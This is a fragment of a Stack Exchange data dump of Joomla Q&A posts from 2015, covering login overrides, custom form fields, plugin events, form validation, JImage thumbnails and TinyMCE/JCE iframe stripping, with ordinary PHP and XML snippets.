  <row Id="14309" PostTypeId="2" ParentId="10853" CreationDate="2015-11-15T12:26:22.597" Score="1" Body="&lt;p&gt;Have you tried using a plugin for login\user integration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A google search gave me this plugin that might work: &lt;a href=&quot;http://www.jfusion.org/feature/jfusion-features&quot; rel=&quot;nofollow&quot;&gt;http://www.jfusion.org/feature/jfusion-features&lt;/a&gt;. It's supposed to create a complete integration, combining your Joomla users with your PHPBB users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, can't you just change the registration link to &lt;code&gt;example.com/forum&lt;/code&gt;? If it's the link in the loginform, you can create an override for &lt;code&gt;mod_login&lt;/code&gt; by copying &lt;code&gt;ROOT/modules/mod_login/tmpl/default.php&lt;/code&gt; to &lt;code&gt;ROOT/templates/YOURTEMPLATE/html/mod_login/default.php&lt;/code&gt;, then edit at about line 100:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($usersConfig-&amp;gt;get('allowUserRegistration')) : ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;http://example.com/forum&quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_('MOD_LOGIN_REGISTER'); ?&amp;gt; &amp;lt;span class=&quot;icon-arrow-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2015-11-15T12:26:22.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14310" PostTypeId="2" ParentId="14287" CreationDate="2015-11-15T12:34:11.747" Score="1" Body="&lt;p&gt;Not sure if I understand your question correctly, but if you want to make the website available to registered users only, you can do like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set website to offline mode&lt;/li&gt;&#xA;&lt;li&gt;In your admin area, go to Global Configuration - Permissions tab, and set Offline access for the Registered group to Allow.&lt;/li&gt;&#xA;&lt;li&gt;Edit the Offline notification with a notice that users will have to log in to access the site.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2015-11-15T12:34:11.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14311" PostTypeId="2" ParentId="10818" CreationDate="2015-11-15T13:03:20.707" Score="0" Body="&lt;p&gt;You can use JCE editor with plugin media manager addon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/plugins/media-manager&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/downloads/plugins/media-manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2015-11-17T17:50:18.650" LastActivityDate="2015-11-17T17:50:18.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14312" PostTypeId="2" ParentId="10818" CreationDate="2015-11-15T15:07:03.673" Score="6" Body="&lt;p&gt;The best way to allow video selection in an extension field is to use a custom field. For an introduction to custom fields, take a look at &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;noreferrer&quot;&gt;this article from Joomla! Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In its simplest form, you can simply extend the &lt;code&gt;filelist&lt;/code&gt; field type and make it list video files using the formats you want. Here's an example (based on the &lt;code&gt;imagelist&lt;/code&gt; field type):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File: &lt;strong&gt;/modules/mod_YOURMODULE/models/fields/videos.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;JFormHelper::loadFieldClass('filelist');&#xA;&#xA;class JFormFieldVideos extends JFormFieldFileList&#xA;{&#xA;    protected $type = 'ImageList';&#xA;    protected function getOptions()&#xA;    {&#xA;        // Define the vide file type filter. Edit as needed.&#xA;        $this-&amp;gt;filter = '\.mov$|\.mpg$|\.mp4$|\.ogv$|\.webm$|\.mts$|\.avi$|\.wmv$';&#xA;        return parent::getOptions();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File: &lt;strong&gt;/modules/mod_YOURMODULE/mod_YOURMODULE.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;videos&quot; addfieldpath=&quot;/modules/mod_YOURMODULE/models/fields&quot;&amp;gt;&#xA;       &amp;lt;field name=&quot;videos&quot; type=&quot;Videos&quot; label=&quot;Select a video&quot; description=&quot;&quot; directory=&quot;images&quot;  /&amp;gt; &#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not as elegant as the media manager popup, but the same method can be used to create a more complex form if you know how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same can also be achieved by adding filters to the &lt;code&gt;filelist&lt;/code&gt; form field directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field type=&quot;filelist&quot; name=&quot;test&quot; label=&quot;Video filter&quot; directory=&quot;images&quot; filter=&quot;\.mov$|\.mpg$|\.mp4$|\.ogv$|\.webm$|\.mts$|\.avi$|\.wmv$&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(A related question with a couple of answers can be &lt;a href=&quot;https://joomla.stackexchange.com/questions/928/joomla-component-media-manager-to-select-pdf&quot;&gt;found here&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-11-15T15:07:03.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14313" PostTypeId="2" ParentId="928" CreationDate="2015-11-15T15:18:04.270" Score="2" Body="&lt;p&gt;Extending on the suggestion by @ValentinDespa, you can use the &lt;code&gt;filelist&lt;/code&gt; form field type, and add a &lt;code&gt;filter&lt;/code&gt; parameter. Any &lt;a href=&quot;https://en.wikipedia.org/wiki/Regular_expression&quot; rel=&quot;nofollow noreferrer&quot;&gt;regular expression&lt;/a&gt; can be added here, see example below for how to filter PDF-files only.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field type=&quot;filelist&quot; name=&quot;pdf&quot; label=&quot;Select PDF&quot; directory=&quot;images&quot; filter=&quot;\.pdf$&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O47bt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O47bt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine in Joomla 3.x, BTW.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-15T15:18:04.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14314" PostTypeId="2" ParentId="9703" CreationDate="2015-11-15T16:02:50.803" Score="1" Body="&lt;p&gt;I fixed this error. So I found out that this happens sometimes with peoples Joomla installations and it's most often occuring on Joomla systems that have been migrated from earlier versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the fix is actually built directly into the Joomla Admin panel. To fix this problem you need to go onto the menu manager and click the 'Rebuild' button.&#xA;See the image below for illustration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ctpnM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ctpnM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps everyone with the same problem! :)&lt;/p&gt;&#xA;" OwnerUserId="2303" LastActivityDate="2015-11-15T16:02:50.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14315" PostTypeId="2" ParentId="928" CreationDate="2015-11-15T16:29:31.517" Score="0" Body="&lt;p&gt;You can use JCE editor with plugin file manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/plugins/file-manager&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/downloads/plugins/file-manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-11-15T16:29:31.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14316" PostTypeId="2" ParentId="14253" CreationDate="2015-11-15T16:34:19.540" Score="2" Body="&lt;p&gt;I ended up generating the thumbnails right inside the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag, using the answer from @NicolaCiciliot (&lt;code&gt;$thumb-&amp;gt;getPath();&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit simplified, this is what it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$image = new JImage('/path/to/image.png'; ?&amp;gt;        &#xA;&amp;lt;img src=&quot;&amp;lt;?php echo $image-&amp;gt;createThumbs('300x300', JImage::SCALE_INSIDE)[0]-&amp;gt;getPath(); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If no thumbnail exists, it's generated, and &lt;code&gt;getPath()&lt;/code&gt; returns the full path whether the thumbnail already exists or has to be generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this will give any noticable performance hit, but it seems to work fine.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-15T16:34:19.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14317" PostTypeId="1" CreationDate="2015-11-15T17:14:15.590" Score="1" ViewCount="43" Body="&lt;p&gt;After a user logs in, I want to call a little mysql program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How and where (in what module eg. mod_login) do I place the code? &lt;/p&gt;&#xA;" OwnerUserId="2267" LastEditorUserId="12352" LastEditDate="2018-07-23T10:40:17.653" LastActivityDate="2018-07-23T10:40:17.653" Title="How to execute custom php/mysql code after a user successfully logs in?" Tags="|joomla-3.4|plugin|login|plugin-events|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="14318" PostTypeId="2" ParentId="14317" CreationDate="2015-11-15T18:03:06.623" Score="1" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User&quot; rel=&quot;nofollow&quot;&gt;onUserLogin&lt;/a&gt; event, and create a plugin that runs your code when the user is successfully logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you want to run it &lt;em&gt;before&lt;/em&gt; the login is verified, you can use &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User#onUserAuthenticate&quot; rel=&quot;nofollow&quot;&gt;onUserAuthenticate&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-15T18:03:06.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14319" PostTypeId="1" AcceptedAnswerId="14320" CreationDate="2015-11-15T19:45:05.360" Score="1" ViewCount="679" Body="&lt;p&gt;In the admin side I have a XML form with 2 fields as below.  Both the fields are marked as &lt;code&gt;required=true&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;field1&quot;&#xA;  type=&quot;text&quot;&#xA;  label=&quot;Field1&quot;&#xA;  required=&quot;true&quot;/&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;field2&quot;&#xA;  type=&quot;text&quot;&#xA;  label=&quot;Field2&quot;&#xA;  required=&quot;true&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the admin form (default.php) the fields are sown as below.  &lt;code&gt;field2&lt;/code&gt; is required only on certain condition.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;form-&amp;gt;renderField('field1');&#xA;if (condition){&#xA;  echo $this-&amp;gt;form-&amp;gt;renderField('field2');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When this form is getting submitted the server side validation validates both the fields irrespective on what is displayed on the form.  I want to setup in such a way that validation only validates what's in the form.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-11-15T20:00:50.047" Title="How to set the form validation only for the fields that are shown" Tags="|joomla-3.4|jform|validations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14320" PostTypeId="2" ParentId="14319" CreationDate="2015-11-15T20:00:50.047" Score="2" Body="&lt;p&gt;I managed to achieve this via setFieldAttribute.  In the XML form I removed the &lt;code&gt;field2&lt;/code&gt; required property and set that dynamically in the form as below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;form-&amp;gt;renderField('field1');&#xA;if (condition){&#xA;  $this-&amp;gt;form-&amp;gt;setFieldAttribute('field2','required','required');&#xA;  echo $this-&amp;gt;form-&amp;gt;renderField('field2');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure whether this is the right approach however it works great...&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-11-15T20:00:50.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14322" PostTypeId="1" CreationDate="2015-11-15T20:59:39.563" Score="1" ViewCount="647" Body="&lt;p&gt;I need to add iframes to articles, just as described in this question:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/9895/iframe-gets-deleted-in-joomla-jce-editor&quot;&gt;iframe gets deleted in joomla jce editor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried all of what's mentioned in the replies to that questin (except plugin - I just want to copy/paste an iframe) - no luck, iframes still removed. Joomla 3.4.5, JCE 2.5.11&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'd have written this in a comment to the linked question, but not allowed)&lt;/p&gt;&#xA;" OwnerUserId="4142" LastActivityDate="2015-11-16T22:34:17.280" Title="Add iframe in article with JCE" Tags="|jce|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14323" PostTypeId="1" CreationDate="2015-11-15T22:19:43.930" Score="0" ViewCount="134" Body="&lt;p&gt;Well as title says, I need to show ITEMID of K2 Item in frontend of that specific item...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to do this for Joomla Article, but is for K2 different?&lt;/p&gt;&#xA;" OwnerUserId="7281" LastEditorUserId="3650" LastEditDate="2016-03-08T00:43:30.657" LastActivityDate="2024-03-27T22:06:30.843" Title="Showing K2 itemID in frontend" Tags="|joomla-3.x|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14324" PostTypeId="2" ParentId="14323" CreationDate="2015-11-15T22:29:23.173" Score="0" Body="&lt;p&gt;I found answer.&#xA;Thanks :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;id; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In k2 templates in item.php just put that code and item ID will be visible.&lt;/p&gt;&#xA;" OwnerUserId="7281" LastActivityDate="2015-11-15T22:29:23.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14325" PostTypeId="2" ParentId="13921" CreationDate="2015-11-16T05:00:22.687" Score="0" Body="&lt;p&gt;The best way to make an app for payplan component is to see the already made plugin and then modify it according to your needs&lt;/p&gt;&#xA;" OwnerUserId="7089" LastActivityDate="2015-11-16T05:00:22.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14326" PostTypeId="1" AcceptedAnswerId="14341" CreationDate="2015-11-16T07:38:46.383" Score="2" ViewCount="121" Body="&lt;p&gt;Today my website showed errors to end users on one page because an image was missing. This is an image stored in jseblod and accessed by using new JImage() in my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a guideline on how to handle this error? JImage throws (literally) at least 3 different errors, does this indicate I should simply use try{}catch blocks, or is there a recommended way to handle a missing image&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2015-11-17T14:11:41.473" Title="How to handle JImage with missing image file" Tags="|joomla-3.4|template-override|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14327" PostTypeId="2" ParentId="14287" CreationDate="2015-11-16T08:55:17.670" Score="1" Body="&lt;p&gt;As I have understood you want to make your site access to only logged in users.&#xA;For this, in Joomla, you can take the id of login user and then check to provide site access:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$user = JFactory::getUser();&#xA;$userid = $user-&amp;gt;id; //gives you the login user id&#xA;&#xA;//check whether user is guest or not to provide access&#xA;if($userid):&#xA;   //perform code to provide access to registered users&#xA;else:&#xA;  //perform code for guest users&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerDisplayName="user5491" LastActivityDate="2015-11-16T08:55:17.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14329" PostTypeId="1" AcceptedAnswerId="14423" CreationDate="2015-11-16T14:19:04.987" Score="0" ViewCount="147" Body="&lt;p&gt;I am trying to get a user id from a users &lt;strong&gt;Kunena&lt;/strong&gt; profile to be able to open a new &lt;strong&gt;uddeIM&lt;/strong&gt; letter with their name already inserted within the message username. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have tried many things but the closest I have gotten is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getInboxURL ($userid)&#xA;{&#xA;    static $itemid = false;&#xA;&#xA;    if ($itemid === false)&#xA;    {&#xA;        $itemid = 0;&#xA;&#xA;        if (method_exists($this-&amp;gt;uddeim, 'getItemid'))&#xA;        {&#xA;            $itemid = $this-&amp;gt;uddeim-&amp;gt;getItemid();&#xA;        }&#xA;&#xA;        if ($itemid)&#xA;        {&#xA;            $itemid = '&amp;amp;Itemid=' . (int) $itemid;&#xA;        }&#xA;        else&#xA;        {&#xA;            $itemid = '';&#xA;        }&#xA;    }&#xA;&#xA;    return JRoute::_('index.php?option=com_uddeim&amp;amp;task=new&amp;amp;recip=' . (JFactory::getUser()-&amp;gt;id));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only problem is this opens a new letter with MY username as the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, can someone help?&lt;/p&gt;&#xA;" OwnerUserId="7284" LastEditorUserId="126" LastEditDate="2015-11-20T18:28:45.957" LastActivityDate="2015-11-24T19:28:29.470" Title="Get User ID from a kunena profile" Tags="|profile|kunena|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14330" PostTypeId="1" AcceptedAnswerId="14334" CreationDate="2015-11-16T15:25:43.377" Score="6" ViewCount="4361" Body="&lt;p&gt;Yes, another question about the stripping of HTML tags (this time TinyMCE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.4.1 / TinyMCE 4.1.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be very simple, however due to the number of comments and questions/answers I see already presumably I'm not the only one facing this issue. &lt;a href=&quot;https://joomla.stackexchange.com/questions/1105/jce-tinymce-keeps-attempting-to-fix-valid-invalid-html&quot;&gt;There's a similar question here&lt;/a&gt; however I don't think the accepted answer is a resolution (very good work around though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue though is only with iframes. The process is as follows;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copy some youtube embed code &gt; paste it into TinyMCE editor &gt; it appears like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Qjnc0H8utks&quot; frameborder=&quot;0&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I immediatley click &lt;code&gt;toggle editor&lt;/code&gt; &gt; it appears like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;amp;lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Qjnc0H8utks&quot; frameborder=&quot;0&quot; allowfullscreen&amp;amp;gt;&amp;amp;lt;/iframe&amp;amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Things I have tried so far;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;removed &lt;code&gt;iframe&lt;/code&gt; from TinyMCE &lt;code&gt;prohibited elements&lt;/code&gt; in plugin settings&lt;/li&gt;&#xA;&lt;li&gt;set &lt;code&gt;no filtering&lt;/code&gt; for super user in global settings&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pasted the following code in TinyMCE &lt;code&gt;Extended Valid Elements&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;iframe[src|style|width|height|scrolling|marginwidth|marginheight|frameborder]&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;cleared joomla cache&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;cleared browser cache&lt;/li&gt;&#xA;&lt;li&gt;tried various browsers &lt;/li&gt;&#xA;&lt;li&gt;tried various templates&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The iframe works when using no editor or CodeMirror however they aren't options, I have to use TinyMCE on this occasion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's going on? I'm lost!&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2018-03-05T14:10:18.860" Title="Editor stripping iframe" Tags="|joomla-3.x|editor|tinymce|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14332" PostTypeId="2" ParentId="14322" CreationDate="2015-11-16T18:45:59.783" Score="1" Body="&lt;p&gt;I don't know what is wrong with your Joomla! to prevent the normal solutions from working, but you can just circumvent the issue by &lt;a href=&quot;https://www.nonumber.nl/extensions/sourcerer#html-tags&quot; rel=&quot;nofollow&quot;&gt;installing Sourcerer&lt;/a&gt;. It usually works and makes adding html to articles in wysiwg mode simple. The link is to the part of tutorial where this is explained so you can directly see if it is simple enough for you. The free version should be good enough for this.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-11-16T18:45:59.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14333" PostTypeId="2" ParentId="14326" CreationDate="2015-11-16T21:32:31.210" Score="2" Body="&lt;p&gt;You have a few options, but the easiest solution would be to run an ifexists on the src prior to running the jimage. I.e:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If (JFile::exists($src)) {&#xA;//Run jimage here &#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could add the images to an array and run a for each depending on your output and function.&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-16T21:32:31.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14334" PostTypeId="2" ParentId="14330" CreationDate="2015-11-16T22:16:01.310" Score="5" Body="&lt;p&gt;Maybe I misunderstand your question, but you say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I copy some youtube embed code &gt; paste it into TinyMCE editor &gt; it appears like this&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I immediately click toggle editor &gt; it appears like this;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Please note that if you paste HTML code in the regular TinyMCE window, it will be converted to HTML entities (&lt;code&gt;&amp;lt;&lt;/code&gt; becomes &lt;code&gt;&amp;amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt; becomes &lt;code&gt;&amp;amp;gt;&lt;/code&gt; and so on). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You have to do it the other way around&lt;/strong&gt;: First click &lt;kbd&gt;Toggle editor&lt;/kbd&gt;, then paste your code, and toggle editor again. This is when TinyMCE will clean up your code if needed, and in your case remove the &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; element for two reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Because by default, &lt;code&gt;iframe&lt;/code&gt; is listed as &lt;strong&gt;Forbidden element&lt;/strong&gt; in the plugin settings (as you mentioned).&lt;/li&gt;&#xA;&lt;li&gt;Because &lt;strong&gt;empty tags&lt;/strong&gt; are removed by default (there's no content between the opening &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; tag and the closing &lt;code&gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;. This is of course correct for iframes, but to TinyMCE it's just an empty tag, thus not needed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I did a quick test, and with the following settings in the TinyMCE plugin settings it should work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remove &lt;code&gt;iframe&lt;/code&gt; from the list of prohibited elements&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;iframe[*]&lt;/code&gt; to the &quot;Extended Valid Elements&quot; list:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LGZWJ.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LGZWJ.jpg&quot; alt=&quot;TinyMCE settings to allow iframes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save and close. Now edit your article, click the &quot;Toggle editor&quot; button, and paste your code. After clicking &quot;Toggle editor&quot; again, you should see something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RtUqD.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RtUqD.jpg&quot; alt=&quot;Working iframe in TinyMCE&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save your article, click &quot;Toggle Editor&quot; again, and verify that your iframe code is still intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this works.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-16T22:16:01.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14335" PostTypeId="2" ParentId="14322" CreationDate="2015-11-16T22:34:17.280" Score="2" Body="&lt;p&gt;One way to find out if the iframe gets deleted by the editor is to disable JCE, and select no editor, then try to save your article with the iframe code pasted in the article body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To select no editor, go to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Global Configuration -&gt; Site -&gt; Editor = set to none&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Start a new article (so you don't have to care if you mess with any existing published articles), and paste your iframe code and save. If it still gets removed, then it's not a setting with JCE and you should look elsewhere (like content blacklists/whitelists filters). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however the iframe wasn't removed this time, then it's something with the settings in JCE and you should review them again, following the instructions in the post you found.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-16T22:34:17.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14336" PostTypeId="1" CreationDate="2015-11-17T08:48:38.093" Score="1" ViewCount="616" Body="&lt;p&gt;I have a problem with my menu for showing the header of my page. When I click &lt;strong&gt;Edit&lt;/strong&gt; in the menu items, for example &quot;About us&quot; -&gt; “Page Display Options”, I write the title of page for the browser and the header page and I choose &quot;yes&quot; for displaying the header of my page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I see in the front end the page &quot;about us&quot;, I see the title of page of browser twice. In top of page of my browser and in the top of my article and I don't see the header page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why?&lt;/p&gt;&#xA;" OwnerUserId="7288" LastEditorUserId="1629" LastEditDate="2015-11-17T14:50:34.320" LastActivityDate="2016-06-14T19:48:29.877" Title="Joomla: Show Header of my menu not working" Tags="|joomla-3.x|articles|menu|header|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
